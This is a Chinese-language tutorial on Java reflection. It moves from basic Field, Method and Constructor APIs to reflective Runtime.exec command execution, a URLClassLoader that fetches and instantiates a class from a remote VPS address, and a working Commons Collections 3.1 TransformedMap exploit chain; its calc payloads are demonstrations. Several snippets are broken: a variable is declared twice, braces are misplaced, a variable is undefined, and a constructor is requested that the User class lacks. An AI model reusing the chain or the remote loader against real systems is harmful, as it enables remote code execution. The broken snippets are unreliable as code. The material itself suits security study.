参考: https://xz.aliyun.com/t/9117
Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。该类库包含了Field、Method、Constructor等类。对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。
参考: https://xz.aliyun.com/t/9117
其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)
开发应用场景:
Spring框架的IOC基于反射创建对象和设置依赖属性。
SpringMVC的请求调用对应方法,也是通过反射。
JDBC的Class#forName(String className)方法,也是使用反射。
构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi反序列化也涉及到反射操作
我们先新建一个user.java
//user.java
public class User {
public String name;
public int age;
private String address;
protected String gender;
public void setName(String name){
this.name = name;
}
public void setAge(int age){
this.age = age;
}
public void setAddress(String address){
this.address = address;
}
public void setGender(String gender){
this.gender = gender;
}
public String getName(){
return name;
}
public int getAge(){
return age;
}
public String getAddress(){
return address;
}
public String getGender(){
return gender;
}
public User(){
super();
}
public User(String name, int age, String address, String gender){
this.name = name;
this.age = age;
this.address = address;
this.gender = gender;
}
private User(String name, int age, String address){
this.name = name;
this.age = age;
this.address = address;
}
}
import com.user.User;
public class GetClass {
public static void main(String[] args) throws ClassNotFoundException {
// 根据类名:类名.class
Class userClass = User.class;
System.out.println(userClass.getName());
// 根据对象:对象.getClass()
User user = new User();
Class aClass = user.getClass();
System.out.println(aClass.getName());
// 根据全限定类名:Class.forName("全路径类名")
Class aClass1 = Class.forName("com.user.User");
System.out.println(aClass1.getName());
// 通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名")
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class aClass2 = clsload.loadClass("com.user.User");
System.out.println(aClass2.getName());
}
}
这里都是用的 getName()
方法,用于返回类的全限定名 如com.user.User
除了此返回类的方法外还有三种
getSimpleName()
- 只返回类名,例如:UsergetPackage()
- 返回包信息,例如:package com.usergetCanonicalName()
- 返回规范名称,对于普通类来说与getName()相同例子:
// 根据类名:类名.class
Class userClass = User.class;
System.out.println("getName(): " + userClass.getName());
System.out.println("getSimpleName(): " + userClass.getSimpleName());
System.out.println("getPackage(): " + userClass.getPackage());
System.out.println("getCanonicalName(): " + userClass.getCanonicalName());
System.out.println("------------------------");
// 获取Class对象
Class aClass = Class.forName("com.user.User");
// 获取公共成员变量对象
Field[] publicFields = aClass.getFields();
for(Field f : publicFields){
System.out.println(f);
// 获取所有成员变量对象
Field[] allFields = aClass.getDeclaredFields();
Field[] allFields = aClass.getFields();
for(Field f : allFields){
System.out.println(f);
}
// 获取单个成员变量对象
Field ageField = aClass.getDeclaredField("age");
System.out.println("age字段:" + ageField);
}
// 获取公共字段name
Field fieldName = aClass.getField("name"); // 使用getField获取公共字段
System.out.println("name字段:" + fieldName);
// 修改name的值
fieldName.set(u, "张三");
Object nameValue = fieldName.get(u);
System.out.println("name的值:" + nameValue);
// 获取私有字段age
Field fieldAge = aClass.getDeclaredField("age");
fieldAge.setAccessible(true); // 设置私有字段可访问
fieldAge.set(u, 30);
Object ageValue = fieldAge.get(u);
System.out.println("age的值:" + ageValue);
import java.lang.reflect.Method;
import com.user.User;
public class GetMethod {
public static void main(String[] args) throws Exception {
// 获取Class对象
Class aClass = Class.forName("com.user.User");
// 返回所有公共成员方法对象的数组,包括继承的
System.out.println("获取所有公共成员方法:");
Method[] publicMethods = aClass.getMethods();
for (Method me : publicMethods) {
System.out.println(me);
}
// 返回所有成员方法对象的数组,不包括继承的
System.out.println("\n获取所有成员方法:");
Method[] allMethods = aClass.getDeclaredMethods();
for (Method me : allMethods) {
System.out.println(me);
}
// 返回单个公共成员方法对象
System.out.println("\n获取单个公共成员方法:");
try {
// 获取getName方法(不带参数)
Method getNameMethod = aClass.getMethod("getName");
System.out.println("getName方法:" + getNameMethod);
// 获取setName方法(带参数)多个 string.class
Method setNameMethod = aClass.getMethod("setName", String.class);
System.out.println("setName方法:" + setNameMethod);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 返回单个成员方法对象
System.out.println("\n获取单个成员方法:");
try {
// 获取toString方法
Method toStringMethod = aClass.getDeclaredMethod("toString");
System.out.println("toString方法:" + toStringMethod);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 运行方法invoke
System.out.println("\n运行方法:");
try {
// 创建User对象
User u = new User();
// 获取setName方法
Method setNameMethod = aClass.getMethod("setName", String.class);
// 调用setName方法
setNameMethod.invoke(u, "张三");
// 获取getName方法
Method getNameMethod = aClass.getMethod("getName");
// 调用getName方法
Object name = getNameMethod.invoke(u);
System.out.println("设置后的name值:" + name);
} catch (Exception e) {
e.printStackTrace();
}
}
}
import java.lang.reflect.Constructor;
import com.user.User;
public class GetConstractor {
public static void main(String[] args) throws Exception {
// 获取Class对象
Class aClass = Class.forName("com.user.User");
// 返回所有公共构造方法对象的数组
System.out.println("获取所有公共构造方法:");
Constructor[] publicConstructors = aClass.getConstructors();
for(Constructor con : publicConstructors){
System.out.println(con);
}
// 返回所有构造方法对象的数组
System.out.println("\n获取所有构造方法:");
Constructor[] allConstructors = aClass.getDeclaredConstructors();
for(Constructor con : allConstructors){
System.out.println(con);
}
// 返回单个公共构造方法对象
System.out.println("\n获取单个公共构造方法:");
try {
// 获取无参构造方法
Constructor con1 = aClass.getConstructor();
System.out.println("无参构造方法:" + con1);
// 获取带参构造方法
Constructor con2 = aClass.getConstructor(String.class, int.class);
System.out.println("带参构造方法:" + con2);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 使用构造方法创建对象
System.out.println("\n使用构造方法创建对象:");
try {
// 使用无参构造方法
Constructor con3 = aClass.getConstructor();
User user1 = (User) con3.newInstance();
System.out.println("无参构造创建的对象:" + user1);
// 使用带参构造方法
Constructor con4 = aClass.getConstructor(String.class, int.class);
User user2 = (User) con4.newInstance("张三", 25);
System.out.println("带参构造创建的对象:" + user2);
} catch (Exception e) {
e.printStackTrace();
}
}
}
原型方法实现:
import java.io.IOException;
public class TestCalc {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");//弹计算器
}
}
反射方法实现:
import java.lang.reflect.Method;
public class GetRuntimeExec {
public static void main(String[] args) {
try {
// 获取Runtime类的Class对象
// Class.forName()方法用于加载类,返回与带有给定字符串名的类或接口相关联的 Class 对象
Class aClass = Class.forName("java.lang.Runtime");
// 获取Runtime类的所有公共方法
// getMethods()返回一个包含某些 Method 对象的数组,这些对象反映此 Class 对象所表示的类或接口的公共方法
Method[] methods = aClass.getMethods();
// for (Method me:methods){
// System.out.println(me);
// }
// 获取Runtime类的exec方法
// getMethod()返回一个 Method 对象,它反映此 Class 对象所表示的类或接口的指定公共成员方法
// 第一个参数是方法名,后面的参数是方法的参数类型
Method exec = aClass.getMethod("exec", String.class);
// 获取Runtime类的getRuntime方法
// getRuntime()是一个静态方法,用于获取Runtime实例
Method getRuntimeMethod = aClass.getMethod("getRuntime");
// 调用getRuntime方法获取Runtime实例
// invoke()方法用于调用底层方法
// 因为getRuntime是静态方法,所以第一个参数传null
Object runtime = getRuntimeMethod.invoke(null);
//弹计算器
exec.invoke(runtime, "calc.exe");
} catch (Exception e) {
// 打印异常堆栈信息
e.printStackTrace();
}
}
}
// 获取Runtime类的Class对象
Class aClass = Class.forName("java.lang.Runtime");
// 获取Runtime类的所有公共方法
Method[] methods = aClass.getMethods();
// 获取Runtime类的exec方法,参数类型为String
Method exec = aClass.getMethod("exec", String.class);
// 获取Runtime类的getRuntime静态方法
Method getRuntimeMethod = aClass.getMethod("getRuntime");
// 调用getRuntime静态方法获取Runtime实例(参数null表示静态方法)
Object runtime = getRuntimeMethod.invoke(null);
// 调用exec方法执行命令(打开计算器)
exec.invoke(runtime, "calc.exe");
指应用程序使用具有反射功能的外部输入来选择要使用的类或代码,
可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查
参考分析: https://zhuanlan.zhihu.com/p/165273855
import java.io.IOException;
public class TestCalc {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
public TestCalc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后执行 javac .\TestCalc.java
编译成一个class文件 然后将其改名为 TestCalc.class
复制到D盘
import java.io.File;
import java.net.URI;
import java.net.URL;
import java.net.URLClassLoader;
// 本地类加载器,用于加载本地类
public class ClassLoaderLocal {
public static void main(String[] args) {
try {
// 指定本地目录
File file = new File("d:/");
URI uri = file.toURI();
URL url = uri.toURL();
// 创建类加载器
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
// 加载类
Class clazz = classLoader.loadClass("TestCalc");
// 创建实例
Object instance = clazz.newInstance();
System.out.println("类加载成功:" + instance);
} catch (Exception e) {
e.printStackTrace();
}
}
}
我已经把class文件提前放到了我的VPS上面
import java.io.File;
import java.net.URI;
import java.net.URL;
import java.net.URLClassLoader;
// 远程类加载器,用于加载远程类
public class ClassLoaderURL {
public static void main(String[] args) {
try {
// 指定远程URL
URL remoteUrl = new URL("http://IP/");
// 创建类加载器
URLClassLoader classLoader = new URLClassLoader(new URL[]{remoteUrl});
// 加载类
Class clazz = classLoader.loadClass("TestCalc");
// 创建实例
Object instance = clazz.newInstance();
System.out.println("类加载成功:" + instance);
} catch (Exception e) {
e.printStackTrace();
}
}
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
// 演示Apache Commons Collections 3.1漏洞利用
public class CC3 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
编译CC3.class
javac -encoding UTF-8 -cp .\commons-collections-3.1.jar CC3.java
//commons-collections-3.1.jar 网上可以下载
利用上面的 7.2.1. 本地加载class文件
import java.io.File;
import java.net.URI;
import java.net.URL;
import java.net.URLClassLoader;
// 本地类加载器,用于加载本地类
public class ClassLoaderLocal {
public static void main(String[] args) {
try {
// 指定本地目录,使用当前目录
File file = new File(".");
URI uri = file.toURI();
URL url = uri.toURL();
// 创建类加载器,添加commons-collections-3.1.jar
URLClassLoader classLoader = new URLClassLoader(
new URL[]{
url,
new File("commons-collections-3.1.jar").toURI().toURL()
}
);
// 加载类
Class clazz = classLoader.loadClass("CC3");
// 创建实例并调用main方法
Object instance = clazz.newInstance();
java.lang.reflect.Method mainMethod = clazz.getMethod("main", String[].class);
mainMethod.invoke(instance, new Object[]{new String[0]});
System.out.println("类加载成功并执行完成");
} catch (Exception e) {
e.printStackTrace();
}
}
}
但是当我们把上面的代码复制到另一个环境(项目)中,会发现无法弹计算器
发现虽然没有报错,但是在新环境中却无法运行
原因是新环境中没有CC3依赖
我们给新环境添加上这个依赖
再运行,成功弹计算器
利用结合: https://xz.aliyun.com/t/7031 (反序列化利用链)